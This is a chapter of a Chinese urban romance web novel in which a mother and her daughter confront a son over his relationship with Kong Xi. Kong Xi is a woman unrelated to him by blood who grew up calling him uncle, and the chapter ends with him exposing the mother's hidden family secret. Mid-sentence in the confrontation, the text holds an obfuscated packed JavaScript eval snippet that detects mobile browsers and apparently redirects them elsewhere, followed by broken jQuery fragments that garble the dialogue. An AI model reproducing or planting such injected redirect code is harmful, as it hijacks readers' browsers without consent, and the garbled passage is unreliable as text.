澜山境 > 都市言情 > 团圆年 > 34. Chapter·34
    马琼对着电话吼:“哎呀,你哭什么哭,一天到晚,遇到点儿事就知道哭,哭能解决问题吗?”

    邱天香呜呜地说:“你弟弟那个人你又不是不知道,他认准要干的事就没有干不成的,他一定要和孔惜搅下去,这两天连面都不露,我是一点办法没有。”

    邱天香在电话这头擦擦眼泪,说:“我不哭,还能怎么办?我泪水都快留干了。”

    马琼说:“他们要搞清楚,他们这么做是犯法的!社会是不会容下他们的!”

    邱天香只管呜呜咽咽。

    “小琼,我们现在怎么办?你有什么办法没有?”

    马琼想了下,说:“我弟弟那边是没有可能的,他有钱有势,一般人奈何不了他。”

    “是啊,我连他办公室都进不去,他那些秘书把我拦在外面,说什么都不让我进去见你弟弟。”

    “哼,公司那边肯定早就打好招呼了,你去了也是白去。”

    马琼说,“一个巴掌拍不响,邱静邧可以肆无忌惮,那是他有那个本钱,他能躲能藏,另一个可是跑得了和尚跑不了庙。”

    邱天香:“你的意思是,这事要去找孔惜?可是,现在孔惜也不接我电话了,我去哪儿找她呢?”

    “她没有家啊?她又不是从石头缝里蹦出来的。你找不到她,难道她爸她妈也找不到她?我还不信了。”

    马琼的话狠是够狠的,邱天香一度以为找到了依靠。

    下午两个人一起去孔惜的公司,得到的消息是孔惜不在公司,出差了。

    “她什么时候回来?”马琼问。

    前台的工作人员仔细瞧了她一眼,“您是孔惜的?”

    马琼说:“姨妈,家里有点事,我们联系不上她。”

    前台工作人员说:“具体时间安排我也不清楚,如果你们家真有急事需要孔惜回来处理,我可以去跟她的直系领导说,看领导能不能替你们转达。”

    马琼说:“那太感谢了。”

    走出写字楼,邱天香说:“怎么这么巧,刚发生这么大的事,孔惜就出差了?”

    马琼冷哼一声,说:“巧?我看是故意躲着不想出来见罢了。说不定人就在办公室里坐着,根本没出差。”

    邱天香小心翼翼地觑马琼一眼,问她:“维祥的电话还没有人接吗?”

    马琼的脸色瞬间冷了好几度,生硬地说:“没有。”

    马琼和孔维祥的冷战最终升级成激烈的语言冲突,孔维祥一气之下,收拾行李,离开了家,暂时住到外面去。

    邱天香泄气地说:“维祥联系不上,马琳出院后又不知道住在哪儿,她的号码我们也没有。哎,要是孔惜一直这样躲着我们,你弟弟又是那种态度,我们恐怕也拿他们没有办法。”

    马琼眉毛皱紧。

    虽然她从来不喜欢邱天香说的那些丧气话,只管灭自己威风,长他人士气,但是也不得不承认,按照目前的情况下去,连人都见不到一个,仅仅靠她和邱天香,的确无可奈何。

    孔惜的这趟出差是临时决定的。

    组长私下里告诉她,升职人选已经差不多定了,大概率是她,等她这次出差回来,公司就发公告正式宣布。

    “所以你这回务必要把事情完成得漂漂亮亮的,俗话说‘新官上任三把火’,这就是你的第一把火。”

    晚上,孔惜在邻市的宾馆里,对着满屏复杂图表的笔记本电脑,旁边是一床散开的文件,正入神的时候,手机响起。

    她瞥一眼,接起来,喂一声后,用脸和肩膀夹住手机,等那边先说话,双手继续在键盘上敲打。

    邱静邧只是问她工作进展是否顺利,以及哪天回来。

    孔惜一一回答,那边沉默了一会儿。

    “你是不是还想问我,婆婆还有没有继续给我打电话?”

    “嗯,还有吗?”

    “有,这两天慢慢少了。你放心,我按照你说的,一通也没有接。”孔惜说,“不过……”

    “什么?”

    “我领导打给我,说我家里出了事,家里人联系不上我,到公司去找我。”

    邱静邧很冷静地问:“有没有说是家里的谁?”

    孔惜:“说是我姨妈。”

    邱天香会找马琼帮忙完全在邱静邧的意料之中,直接到公司去找人,倒是很符合马琼一贯的行事作风。

    “和她们谈是我的责任,你不用管,我会处理。”

    “我知道。她们是你的家人,我爸妈那边也等我回去再跟他们说。”

    “到时候我和你一起。”

    孔惜轻笑,说:“不是说好各自解决自己家那边的人吗?你是不是怕我处理不好?”

    邱静邧没有明说,但在孔惜听来那就是默认。

    她故作生气地说:“这么不信任我?在你眼里,我连这点抵抗风险的能力都没有吗?”

    邱静邧说:“不是,我不是担心这个。”

    “那你担心的是什么?”

    邱静邧担心什么,他不敢说出口。

    他们脚下这条荆棘丛生的路,追根究底,是邱静邧半拉半拖孔惜踏上的。

    经过中间那么多年的疏离和僵持,孔惜原本已经打算放弃邱静邧,寻求现世的、寻常的、普通生活,他却紧紧抓住她的脚后跟不肯放手,硬是将她拖入这场杀人于无形的战斗。

    邱静邧凭借的是什么他很清楚,无非是孔惜死灰复燃的爱。

    他怕孔惜并不和他一样清楚,这看似坚强的爱在诸多现实的反对前有多不牢靠。

    不过邱静邧也不该忘记一点,当初先张口言爱的人是孔惜,她远远比邱静邧所知道的,要勇敢得多。

    轿车拐进丽水天境花园别墅的车道,直接停进车库。

    邱静邧回来前没有半点预兆,邱天香一点准备没有。

    在一楼见到邱静邧立在桌前喝水的时候,一时间不知道怎么开口才好。

    对于这个喜怒不形于色的小儿子,邱天香心里是存了一些害怕的。

    邱静邧放下水杯,没有和邱天香说话,也无视邱天香上前一步想要和他搭话的动作,自顾自地越过邱天香上楼。

    过了一会儿,楼梯上传来脚步声。

    邱天香从餐厅的椅子上站起来,见邱静邧把一个行李箱放在楼梯边上,她疑惑地蹙眉。

    “静邧,你这是……要去哪儿出差吗?”

    邱静邧还要上楼,听到邱天香问他,他一只脚踏在台阶,说:“我到外面住段时间。”

    “在家里住得好好的,为什么要搬到外面去?”

    邱静邧没有回答邱天香的这个问题。

    邱天香压住一个不好的想法,小心地问:“你,你是一个人住吗?”

    邱静邧垂下视线,像是想了一会儿,抬起眼,直视邱天香,说:“不是,孔惜和我住在一起。”

    “什么?”邱天香衰老浑浊的眼睛布满惊恐,这是她最不想听到的答案,

    她急出泪水,“你在胡说八道些什么话?孔惜她,她是……你们两个,诶,你们怎么能在一起?”

    “我爱她,她爱我,怎么不能在一起?”

    “不行,我不同意,我绝对不同意。”邱天香胡乱地摆手,表示她对这段关系的强烈反对。

    “你反对?为什么

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16837464|191263||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    ?”邱静邧走下楼梯。

    邱天香瞪大双眼,像是觉得邱静邧问出这个问题很不应该。

    “她是你什么人,你是她什么人,你们两个是什么关系?你们能在一起吗?这还用我说吗?她年纪小脑子不清楚,你也糊涂了是不是?”

    邱天香气喘吁吁,似乎压住很大的怒气在说话。

    一阵刻意的无声,外面下起瓢泼大雨,雨水冲刷土地。

    邱静邧到客厅,在茶几上拿起烟和打火机,点燃一根,端着烟灰缸,到餐厅坐下。

    “我和孔惜没有任何关系,我想这一点,你应该比其他人都清楚。”

    邱天香僵直着脖颈,她勉力掩饰慌乱,艰难地转动着看向邱静邧。

    他在十分黑暗的一角,说出的每一句话,都将邱天香置于永世不能翻身的地狱。

    半晌,邱天香找回自己的声音,说:“是,法律上你们是没有任何关系,但是道德上呢?你以为你说你们没有关系就行了?孔惜今年多少岁,就叫了你多少年的舅舅,踏出这个家门,外面谁不知你们是谁,你逃得过?”

    邱天香的手指随着她的话语,颤抖地指向紧闭的大门。

    邱静邧不在意地说:“外面的人怎么看不重要,他们怎么想的,与我无关。”

    “静邧,儿子啊,”

    邱天香忽然冲上来,一把抓住邱静邧的手,被邱静邧冷漠地推开。

    “你活在这个世界上一天,就活在别人的看法里,你再厉害,能管住别人的指指点点吗?好,好,好,你说你行,你可以,你替你妈我想过没有,我怎么过?你让我怎么活!”

    邱天香用力敲打胸口,像是在敲打一口破旧的铝盆,发出砰砰砰的声音,好像只有通过这样击打自己的方式,才能表现出她的锥心之痛。

    然而,这在邱静邧听来只不过是夸张的噪音,他丝毫不会感同身受,更不会同情。

    邱静邧熄灭烟蒂,说:“你当年跑回来后是怎么过的,现在还怎么过。”

    邱天香不可思议地看着邱静邧,邱静邧却没有再和她继续谈下去的打算,起身准备上楼。

    邱天香追到楼梯下,泪水纵横,声泪俱下地质问邱静邧:“外面女人那么多,你选谁不好,为什么偏偏要选孔惜?你想毁了你自己,毁了我们这个家吗?”

    邱静邧立在楼梯台阶上,居高临下,对邱天香显而易见的痛苦继续毫无动摇。

    这个世界上已经很少有人的泪水可以感化他。

    邱静邧突兀地露出一抹转瞬即逝的笑,说:“你该庆幸的,至少我最终选择的是一个和我没有血缘关系的人,没有步他们的老路。”

    邱静邧二十岁那年有机会去了趟新湾沟,他从各方得知的生下他的女人的老家。

    不用多费劲打听,男人和女人的故事就完整呈现,因为太惊世骇俗,不容于世,直到几十年后仍然是当地人唾弃的对象。

    邱天香如遭雷击,像经历了一场浩劫。

    原来他早就什么都知道了。

    血污一般洗不掉的几十年前往事,沉渣泛起。

    邱天香自以为隐藏了一辈子的秘密,在邱静邧的一句话中,曝晒在阳光下。

    到头来,在这个她看作儿子的人的眼里,她从来没有母亲的尊严可言。他背着她,把所有事实都查得一清二楚,独独让她像个跳梁小丑一样。从邱天香苍老的脸上可以看出,她的天,彻底塌了。

    第二天一早,邱天香不声不响地一个人离开了丽水天境的花园别墅,回了乡下老家。

    好一段时间里,邱天香闭门不出,她隐秘的秘密已经被戳破,自觉没脸见任何人。